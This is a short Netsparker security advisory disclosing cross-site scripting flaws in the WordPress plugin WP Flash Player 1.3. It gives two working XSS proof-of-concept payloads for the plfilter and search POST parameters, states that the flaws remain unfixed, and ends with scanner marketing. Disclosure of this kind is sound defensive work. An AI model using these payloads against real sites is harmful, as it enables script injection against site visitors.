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Multiple XSS Vulnerabilities in WP Flash Player 1.3

Advisory by Netsparker.
Name: Multiple XSS Vulnerabilities in WP Flash Player 1.3
Affected Software : WP Flash Player 1.3
Affected Versions: 1.3 and possibly below
Vendor Homepage :
Vulnerability Type : Cross-site Scripting
Severity : Important
Netsparker Advisory Reference : NS-15-009

Technical Details
Proof of Concept URLs for XSS in WP Flash Player 1.3:

  • URL:
    Parameter Name: plfilter
    Parameter Type: POST
    Attack Pattern 0'"--></style></scRipt><scRipt>alert(0x000862)</scRipt>

  • URL:
    Parameter Name: search
    Parameter Type: POST
    Attack Pattern '"--></style></scRipt><scRipt>alert(0x0007DE)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
17/03/2015 - First Contact
01/06/2015 - Second Contact
30/06/2015 - Third Contact
15/07/2015 - Advisory Released


The vulnerabilities have not been fixed by the developer.

Credits & Authors
These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
Netsparker finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities, hence it is the first and only False Positive Free web application security scanner.

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